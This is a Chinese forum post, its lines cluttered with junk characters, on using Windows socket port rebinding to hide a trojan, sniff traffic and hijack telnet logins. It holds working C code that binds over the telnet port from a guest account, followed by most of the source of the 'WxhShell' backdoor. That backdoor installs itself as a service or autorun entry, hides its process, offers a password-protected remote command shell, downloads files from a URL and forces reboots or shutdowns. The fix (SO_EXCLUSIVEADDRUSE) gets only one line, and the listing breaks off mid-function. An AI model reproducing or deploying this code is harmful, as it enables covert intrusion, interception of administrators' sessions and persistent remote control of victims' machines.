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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: c0[k T  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ^73=7PZ  
k ,fTW^?  
  saddr.sin_family = AF_INET; i!,HB|wQ  
Ekjf^Uo  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _B$"e[:yX  
=bL{i&&  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); l &Z(K,6  
C*rd;+1A  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,Rz }=j  
PAoX$q  
  这意味着什么?意味着可以进行如下的攻击: o , LK[Q  
?OsS`)T  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 y x;h  
[@2s&Ct;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) %h/! Y<%  
MGybGbd  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 @a(oB.i  
784;]wdy\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  RGp'b  
2 ~-( A  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 n(R_#,Hs  
sFElD ]|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 m&Sp1=*Ejy  
x)R0F\_  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ?v.Gn9Z&  
woau'7}XOu  
  #include jONjt(&N  
  #include c[5@ \j\  
  #include @o60 c  
  #include    M6&~LI.We=  
  DWORD WINAPI ClientThread(LPVOID lpParam);   T:6K?$y?  
  int main() `ReGnT[  
  { 9p4%8WhJ  
  WORD wVersionRequested; },v&rkwR  
  DWORD ret; ]d^ k4 d  
  WSADATA wsaData; V&g)m.d:n  
  BOOL val; G LoiH#R  
  SOCKADDR_IN saddr; {wHvE4F2  
  SOCKADDR_IN scaddr; *h:D|4oJ(  
  int err; ^glX1 )  
  SOCKET s; OgQntj:%lN  
  SOCKET sc; 9lKRL'QR  
  int caddsize; }|SIHz!R  
  HANDLE mt; f&f`J/(  
  DWORD tid;   9QC< E|  
  wVersionRequested = MAKEWORD( 2, 2 ); D(!;V KH  
  err = WSAStartup( wVersionRequested, &wsaData ); O%52V|m}{  
  if ( err != 0 ) { 27Cz1[oX  
  printf("error!WSAStartup failed!\n"); D$QGLI9(  
  return -1; 3Fgz)*Gu]  
  } )U]:9)   
  saddr.sin_family = AF_INET; qg|Ox*_od"  
   [A|(A$jl  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4`$5 _} j!  
O/(3 87=U  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); b'&LBT7  
  saddr.sin_port = htons(23); nT#37v  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &yB%QX{3  
  { =,O /,2)  
  printf("error!socket failed!\n"); g%ZdIKj!  
  return -1; Bj; [  
  } (x}A_ i  
  val = TRUE; .l7j8 }  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 d3og?{i<}&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Gl.?U;4Z  
  { ]9#CVv[rq  
  printf("error!setsockopt failed!\n"); 1]Gf)|  
  return -1; 7,f:Qi@g  
  } h,]tQ#!s8  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; z/)$D  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ]F !'M  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3xP~~j;7  
u IAZo;  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -!@H["  
  { jiqi!*  
  ret=GetLastError(); 0h^uOA; c  
  printf("error!bind failed!\n"); vf6`s\6  
  return -1; 5QKRI)XpZ  
  } mlD%d!.  
  listen(s,2); 0 4P.p6  
  while(1)  c^rC8E  
  { *U :VM'a  
  caddsize = sizeof(scaddr); DE5d]3B  
  //接受连接请求 z'?SRK5+  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); keae.6[  
  if(sc!=INVALID_SOCKET) ?Y%}(3y  
  { @<|6{N<  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); sf fV.cC`  
  if(mt==NULL) "v@);\-V  
  { 6euR'd^Qi  
  printf("Thread Creat Failed!\n"); 1]"D%U=  
  break; 2@rp<&s  
  } WfRVv3Vm  
  } iKohuZr  
  CloseHandle(mt); ]U_5\$  
  } b*cW<vX}~  
  closesocket(s); :b.3CL\.6  
  WSACleanup(); a:=q8Qy  
  return 0; $[)6H7!U)  
  }   |Uc <;> l  
  DWORD WINAPI ClientThread(LPVOID lpParam) X";TZk  
  { _2wAaJvA  
  SOCKET ss = (SOCKET)lpParam; joxS+P5#  
  SOCKET sc; ]^Sd9ba  
  unsigned char buf[4096]; th5 X?so  
  SOCKADDR_IN saddr; C_6GOpl  
  long num; cR,'o'V/  
  DWORD val; 65'`uuPx  
  DWORD ret; 8FAT(f//.  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ^!q 08`0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   eVJ= .?r  
  saddr.sin_family = AF_INET; NKRaQ r  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); X'YfjbGo  
  saddr.sin_port = htons(23); qsD?dHi7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !>CE(;E>z  
  { V+Y|4Y&  
  printf("error!socket failed!\n"); R 4DM_ u  
  return -1; XPar_8I  
  } )C'G2RV  
  val = 100; X7t 5b7  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TFAYVK~  
  { ~D<7W4c  
  ret = GetLastError(); E%-Pyg*  
  return -1; 3yeK@>C  
  } R1I I k  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !y.ei1diw  
  { CW.&Y?>Tv  
  ret = GetLastError(); ,Y`'myL8W  
  return -1; xeJ9H~^  
  } !x`;>0  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ,O$Z,J4VL  
  { Mi;}.K0J  
  printf("error!socket connect failed!\n"); =6.8bZT\  
  closesocket(sc); qlz( W  
  closesocket(ss); <FCj)CP%  
  return -1; suA+8}o]  
  } :({-0&&_  
  while(1) }rO?5  
  { yTzY?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 q >Q:X3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 k\sc }z8X  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 qFV;n6&V  
  num = recv(ss,buf,4096,0); Ly#h|)  
  if(num>0) ~%olCxfO  
  send(sc,buf,num,0); TX< e_[$\  
  else if(num==0) t#fs:A7P?}  
  break; Xg|8".B)A  
  num = recv(sc,buf,4096,0); D+bB G  
  if(num>0) Nr> c'TH  
  send(ss,buf,num,0); %4bO_vb<9  
  else if(num==0)  f$:7A0  
  break; |pfhrwJp  
  } >t 1_5  
  closesocket(ss); 2#>$%[   
  closesocket(sc); ..vSL  
  return 0 ; o?:;8]sr!  
  } ;X?Ah  
TYs+XJ'Xj  
]jHh7> D  
========================================================== BNAguAxWo  
y #hga5  
下边附上一个代码,,WXhSHELL <;2P._oZ  
8QkWgd7y  
========================================================== kvMk:.  
Qv9*p('~A  
#include "stdafx.h" hgTM5*fD}  
bYwI==3  
#include <stdio.h> g*:ae;GP  
#include <string.h> (|yRo  
#include <windows.h> Wl^prs7}c  
#include <winsock2.h> oUW )H  
#include <winsvc.h> nz,Mqol  
#include <urlmon.h> >i^y;5  
&"U9X"8b  
#pragma comment (lib, "Ws2_32.lib") tYI ]LL  
#pragma comment (lib, "urlmon.lib") V_)5Af3wY  
8m#}S\m  
#define MAX_USER   100 // 最大客户端连接数 3v8V*48B$  
#define BUF_SOCK   200 // sock buffer }-REBrb-  
#define KEY_BUFF   255 // 输入 buffer r;&]?9)W0  
-mev%lV  
#define REBOOT     0   // 重启 0EL\Hd  
#define SHUTDOWN   1   // 关机 #rn4 $  
(lyt"Ty  
#define DEF_PORT   5000 // 监听端口 @<@R=aqE  
%8}WX@SB  
#define REG_LEN     16   // 注册表键长度 ua]\xBWx  
#define SVC_LEN     80   // NT服务名长度 (SgEt  
%JP&ox|^&  
// 从dll定义API /0 B07B  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); no~OR Q  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); `^ieT#(O  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yj}bY?4I  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Ns+)Y^(5  
=yk Rki  
// wxhshell配置信息 R-r+=x&  
struct WSCFG { HGP%a1RF#  
  int ws_port;         // 监听端口 R9b/?*%=9  
  char ws_passstr[REG_LEN]; // 口令 !$:0E y(S  
  int ws_autoins;       // 安装标记, 1=yes 0=no M iP[UCh  
  char ws_regname[REG_LEN]; // 注册表键名 d1srV`  
  char ws_svcname[REG_LEN]; // 服务名 otmIu`h  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 b xk'a,!S  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^@|<'g.R-  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 >< <$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no <GL}1W"Ay  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ql#{=oGDnA  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >,w\lf9  
rh:s 7  
}; !(MA5L-  
Z^/z  
// default Wxhshell configuration VYl_U?D  
struct WSCFG wscfg={DEF_PORT, bqw/O`*wfN  
    "xuhuanlingzhe", A&NC0K}G!  
    1, D\45l  
    "Wxhshell", ifJv~asp   
    "Wxhshell", _1w.B8Lyz@  
            "WxhShell Service", xh+AZ3  
    "Wrsky Windows CmdShell Service", 8!`7-  
    "Please Input Your Password: ", 'Yaf\Hp  
  1, &X#x9|=&O  
  "http://www.wrsky.com/wxhshell.exe", .G5NGB  
  "Wxhshell.exe" IEno.i\  
    }; >\6jb&,%O  
I,],?DQX2)  
// 消息定义模块 6i9Q ,4~  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 0UM@L }L  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "W?l R4  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Y0P}KPD  
char *msg_ws_ext="\n\rExit."; Hm+6QgCs  
char *msg_ws_end="\n\rQuit."; ZXssvjWQV}  
char *msg_ws_boot="\n\rReboot..."; 4*N@=v  
char *msg_ws_poff="\n\rShutdown..."; [3{:H"t  
char *msg_ws_down="\n\rSave to "; M(.uu`B  
)[y!m9Vn  
char *msg_ws_err="\n\rErr!"; JqVBT+:  
char *msg_ws_ok="\n\rOK!"; _H^^2#wc/  
HobGl0<y  
char ExeFile[MAX_PATH]; N[+o[%A  
int nUser = 0; A:8FJ3'  
HANDLE handles[MAX_USER]; d+YVyw.z  
int OsIsNt; Q8}TNJsU  
\jF" nl  
SERVICE_STATUS       serviceStatus; 1}n)J6m  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; %T&&x2p^=?  
uJ|5 Ve  
// 函数声明 IEIxjek  
int Install(void); P\*2c*,W;  
int Uninstall(void); 4 BE:&A  
int DownloadFile(char *sURL, SOCKET wsh); ]zhq.O >2{  
int Boot(int flag); V:,3OLL*  
void HideProc(void); .  T6_N  
int GetOsVer(void); F'?5V0\he  
int Wxhshell(SOCKET wsl); =\ Tud-1Z  
void TalkWithClient(void *cs); W[[YOK1T  
int CmdShell(SOCKET sock); l(k rUv  
int StartFromService(void); 0M/\bE G(_  
int StartWxhshell(LPSTR lpCmdLine); +hgaBJy  
(?*mh?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Y-neD?VN  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ySr091Q  
m 1'&{O:  
// 数据结构和表定义 K*HVn2OV  
SERVICE_TABLE_ENTRY DispatchTable[] = m &3HFf  
{ .swgXiRvs  
{wscfg.ws_svcname, NTServiceMain}, >n$E e J  
{NULL, NULL} IxEQh)J X  
}; k"DQbUy0L  
WRLu 3nBx  
// 自我安装 (zM+7tJH  
int Install(void) (<> Sz(  
{ /_zF?5h  
  char svExeFile[MAX_PATH]; Y>dg10=  
  HKEY key; B Z\EqB  
  strcpy(svExeFile,ExeFile); |$.sB|_ N  
ZaNyNxbp>z  
// 如果是win9x系统,修改注册表设为自启动 5Re`D|8  
if(!OsIsNt) { R uFu,H-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U47k5s(J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); fUL{c,7xda  
  RegCloseKey(key); U"%8"G0)  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -pU\"$nuxH  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0-t4+T  
  RegCloseKey(key); GH; F3s  
  return 0; O'&X aaZV  
    } fdCxMKlu;  
  } <Hr@~<@~  
} 3*2&Fw!B  
else { {Gb)Et]<  
gk_Xu  
// 如果是NT以上系统,安装为系统服务 zM8/ s96h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?^G$;X7B  
if (schSCManager!=0)  a`h$lUb-  
{ ZAnO$pA  
  SC_HANDLE schService = CreateService K&Wv.}=V  
  ( :hl}Z n~jt  
  schSCManager, kGBl)0pr`x  
  wscfg.ws_svcname, cVP49r}}v  
  wscfg.ws_svcdisp, @=<TA0;LL  
  SERVICE_ALL_ACCESS, d~z<,_ r5c  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  7 zP  
  SERVICE_AUTO_START, /xrq'|r?C  
  SERVICE_ERROR_NORMAL, /J9T=N  
  svExeFile, "'H7F ,k'  
  NULL, rfZj8R&  
  NULL, RQK**  
  NULL, whg4o|p  
  NULL, bcx{_&1p  
  NULL <1'X)n&Kw$  
  ); 5f`XFe$8  
  if (schService!=0) cnUU1Uz>  
  { Nh7!Ah  
  CloseServiceHandle(schService); -) v p&-  
  CloseServiceHandle(schSCManager); n]ppO U|[  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c&I,eds  
  strcat(svExeFile,wscfg.ws_svcname); 4iPua"8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { z_,]fd=o  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); xz+`]Q  
  RegCloseKey(key); &_%+r5  
  return 0; <2@<r t{  
    } <hF~L k ,  
  } @9kk f{?  
  CloseServiceHandle(schSCManager); 8Jy1=R*S  
} W!Ct[t  
} y3o4%K8  
M3ZJt'|  
return 1; ?=@Q12R)X  
} aab4c^Ms=  
:PjUl  
// 自我卸载 OAnn`*5Up  
int Uninstall(void) %Ty {1'o  
{ kq.R(z+  
  HKEY key; v8fZ?dx  
pt|$bU7  
if(!OsIsNt) { ;Q,).@<C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |s3HeY+Co  
  RegDeleteValue(key,wscfg.ws_regname); U+}9X^  
  RegCloseKey(key); sxQ,x/O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7!yF5 +_d  
  RegDeleteValue(key,wscfg.ws_regname); W9:{pQG  
  RegCloseKey(key); vM3|Ti>a'  
  return 0; eS# 0-  
  } 6~Oje>w;  
} Vqp.jF1|  
} Sdu@!<?B  
else { uxJiec`&  
[\M?8R$)  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .LTFa.jxA  
if (schSCManager!=0) hpi_0lMkI  
{ <n~g+ps  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !VZCM{  
  if (schService!=0) ZwrYs s  
  { u(G;57ms  
  if(DeleteService(schService)!=0) { (lck6v?h  
  CloseServiceHandle(schService); PQ#-.K  
  CloseServiceHandle(schSCManager); ,c %gwzU  
  return 0; czsoD) N  
  }  yURh4@  
  CloseServiceHandle(schService); c"&!=@  
  } i.dAL)V  
  CloseServiceHandle(schSCManager); X1z0'gvh  
} 4y}a,  
} Y&Vbf>Hi+  
mE@o27  
return 1; /g- X=|?F  
} GDQg:MgX  
G.E~&{5xQ  
// 从指定url下载文件 Hf]}OvT>Z  
int DownloadFile(char *sURL, SOCKET wsh) AA%g^PWpR  
{ cZ2, u,4  
  HRESULT hr; b6$A@b  
char seps[]= "/"; 9oN'.H^  
char *token; t:@A)ip  
char *file;  >33b@)  
char myURL[MAX_PATH]; LUVJ218p  
char myFILE[MAX_PATH]; { rJF)\2  
pC.P  
strcpy(myURL,sURL); `e;Sjf<  
  token=strtok(myURL,seps); CpdY)SMSL  
  while(token!=NULL) 5<8>G?Y  
  { f2e$BA  
    file=token; r|BKp,u9  
  token=strtok(NULL,seps); {[y"]_B4  
  } w3|.4hS  
hfa_M[#Q-  
GetCurrentDirectory(MAX_PATH,myFILE); ' g!_Flk  
strcat(myFILE, "\\"); NP`ll0s  
strcat(myFILE, file); ?B:wV?-`  
  send(wsh,myFILE,strlen(myFILE),0); eOO*gM=  
send(wsh,"...",3,0); -ns a3P  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  X_S]8Aa  
  if(hr==S_OK) F7u%oLjr  
return 0; (=B7_jrl  
else q$*_C kT  
return 1; 8$tpPOhzb  
]1$AAmQH  
} ),FN29mZu  
>d[vHyA~!D  
// 系统电源模块 m`0{j1K  
int Boot(int flag) EGO@`<"h  
{ tD482Sb=  
  HANDLE hToken; U,}T ]J  
  TOKEN_PRIVILEGES tkp; T $]L 5  
>a~FSZf  
  if(OsIsNt) { 05zdy-Fb  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); |}Z"|-Z  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); QN5N h s  
    tkp.PrivilegeCount = 1; c`=h K*  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3/<^R}w\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aVL%-Il}  
if(flag==REBOOT) { xH-k~#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (?wKBUi  
  return 0; *njB fH'  
} bv"({:x  
else { Bm>(m{sX>  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) e' ;c8WF3E  
  return 0; [<Puh  
} #yxYL0CcA:  
  } hpKc_|un  
  else { :WTvP$R  
if(flag==REBOOT) { S$:S*6M@"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Lh$ac-Ct  
  return 0; ;] o^u.PC  
} j`hbQp\`  
else { I=I%e3GEm  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) <xz-7EqbwX  
  return 0; P?ol]MwaB  
} z1A-EeT  
} !.N=Y;@lY  
~&|i'f[  
return 1; c=E.-  
} Cagq0-:(p  
E&v-(0  
// win9x进程隐藏模块 82l";;n4p  
void HideProc(void) gvt4'kp  
{ 0kEq|k9  
skArocs  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); RtEkd_2  
  if ( hKernel != NULL ) K?eo)|4)DB  
  { g 0=t9J  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); v65r@)\`  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); K",]_+b  
    FreeLibrary(hKernel); b=go"sJ@>(  
  } 1 .k}gl0<  
t":>O0>cz  
return; |,f6c Om f  
} CtxK{:  
g}h0J%s  
// 获取操作系统版本 YZD]<ptR  
int GetOsVer(void) yU`IyaazZ  
{ }k~0R-m  
  OSVERSIONINFO winfo; Jc6 D^=  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `;hBO#(H0}  
  GetVersionEx(&winfo); $nN$"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 8b $7#  
  return 1; QY! A[!6h  
  else ;W:Q}[  
  return 0; 81g0oVv  
} ?+_"2XY  
#SOe &W5  
// 客户端句柄模块 3EdPKM j&  
int Wxhshell(SOCKET wsl) o!&*4>tF  
{ Rh^$0Q*2  
  SOCKET wsh; ea/6$f9^  
  struct sockaddr_in client; I}{eYXh  
  DWORD myID; $S/ 8T  
<9vkiEo  
  while(nUser<MAX_USER) )nVx 2m4  
{ ~a Rq\fx{  
  int nSize=sizeof(client); ~*Wb MA  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ,kI1"@Tu  
  if(wsh==INVALID_SOCKET) return 1; To95WG7G  
Z m>69gl  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Pd?YS!+S  
if(handles[nUser]==0) z'*>Tk8h  
  closesocket(wsh); C2T,1=  
else ,'}ZcN2)  
  nUser++; wz57.e!Me=  
  } sy?W\(x  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); fC[gu$f][  
rCYn YA  
  return 0; hR2.w/2j  
} K(Nk|gQ  
&/" qOZAs  
// 关闭 socket Ar_/9@n  
void CloseIt(SOCKET wsh) 5irOK9hK  
{ ah.Kb(d:  
closesocket(wsh); WJWrLu92\U  
nUser--; NgQl;$  
ExitThread(0); w6tY6bf}  
} A_+ WY|#M  
X5=7DE]  
// 客户端请求句柄 O)?0G$0  
void TalkWithClient(void *cs) s Y,3  
{ el<nY"c  
rkrt.B  
  SOCKET wsh=(SOCKET)cs; *9PQJeyR  
  char pwd[SVC_LEN]; 6 s/O\A  
  char cmd[KEY_BUFF]; 3h>Ji1vV  
char chr[1]; /WMLr5  
int i,j; )/Vr 5b@  
a &j?"o  
  while (nUser < MAX_USER) { 'AoH2 |  
>=(e}~5y  
if(wscfg.ws_passstr) { ~kga+H  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); = zSrre  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9cQSS'`F  
  //ZeroMemory(pwd,KEY_BUFF); WF]:?WE%  
      i=0; \`^jl  
  while(i<SVC_LEN) { +y2*[  
@QofsWC  
  // 设置超时 aap:~F{]X  
  fd_set FdRead; i8]r }a  
  struct timeval TimeOut; !WmpnPr1  
  FD_ZERO(&FdRead); 9z?F_=PB!  
  FD_SET(wsh,&FdRead); K':f!sZ&2  
  TimeOut.tv_sec=8; hH\(> 4l  
  TimeOut.tv_usec=0; Co M8  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); l40$}!!<  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 6 eBQ9XV  
LLMkv!%D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  Y+N87C<  
  pwd=chr[0]; Ny#%7%(  
  if(chr[0]==0xd || chr[0]==0xa) { Qj~0vx!  
  pwd=0; pGC`HTo|  
  break; = 2k+/0ZbP  
  } la-+ `  
  i++; ;4 &~i  
    } Ldu!uihx  
N\u-8nE5  
  // 如果是非法用户,关闭 socket _VJb i,V  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); -%A6eRShk  
} &&JMw6 &[`  
<:p&P  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); /[IK [  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &HE8O}<>  
FR&RIFy  
while(1) { REw3>/=  
>TE&myZ?*  
  ZeroMemory(cmd,KEY_BUFF); biJU r^n  
%ug`dZ/  
      // 自动支持客户端 telnet标准   5H79) n>  
  j=0; /swTn1<Y  
  while(j<KEY_BUFF) { P _ SJK  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); myYe~f4=HQ  
  cmd[j]=chr[0]; 9'tM65K  
  if(chr[0]==0xa || chr[0]==0xd) { mb#)w`<  
  cmd[j]=0; Yv{AoL~  
  break;  i J\#su  
  } i-Z@6\/a5  
  j++; D@Q|QY5qic  
    } b`2~  
pyNPdEy  
  // 下载文件 ?vhW`LXNB  
  if(strstr(cmd,"http://")) { rScmUt  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); au8) G_A  
  if(DownloadFile(cmd,wsh)) 2XE4w# [j  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); r"n)I$  
  else h'bxgIl'`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @/9> /?JP  
  } 8E" .y$AW  
  else { a; "+Py  
27MgwX NQ  
    switch(cmd[0]) { %VdJ<=@  
  d+bTRnL  
  // 帮助 j8PK\j[  
  case '?': { k~?@~xm,R  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @a~K#Bvlm  
    break; h_cZ&P|  
  } 0I.7I#'3O  
  // 安装 Yrd K@I  
  case 'i': { `pKQ|zGw  
    if(Install()) 29E^]IL?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); CV`  I.  
    else { d/k0H  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); | o?@Eh  
    break; /5o~$S  
    } "e(N h%t  
  // 卸载 q[+];  
  case 'r': { #):FXB$a  
    if(Uninstall()) /g_}5s-Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6Us#4 v,  
    else v(af aN  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Fv3fad@x  
    break; #R)$nv:h?^  
    } {C<ch@sR  
  // 显示 wxhshell 所在路径 L.8-nTg"y  
  case 'p': { s)-=l _4T  
    char svExeFile[MAX_PATH]; <EE)d@%>v  
    strcpy(svExeFile,"\n\r"); %9M_ * ]  
      strcat(svExeFile,ExeFile); p1Els /|  
        send(wsh,svExeFile,strlen(svExeFile),0); WUHijHo5(8  
    break; UE(%R1Py  
    } 9@!`,Co  
  // 重启 b[/-lNrc  
  case 'b': { 'a0$74fz  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); z-()7WY  
    if(Boot(REBOOT)) LOp<c<+aW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $FD0MrB_+  
    else { ?&N JN/+%  
    closesocket(wsh); #vIF]Y  
    ExitThread(0); IQR?n}ce  
    } wc ^z9y  
    break; S3 &L  
    } TEY%OI zU+  
  // 关机 kQYX[e7n  
  case 'd': { d/"e3S1  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7VR+EV  
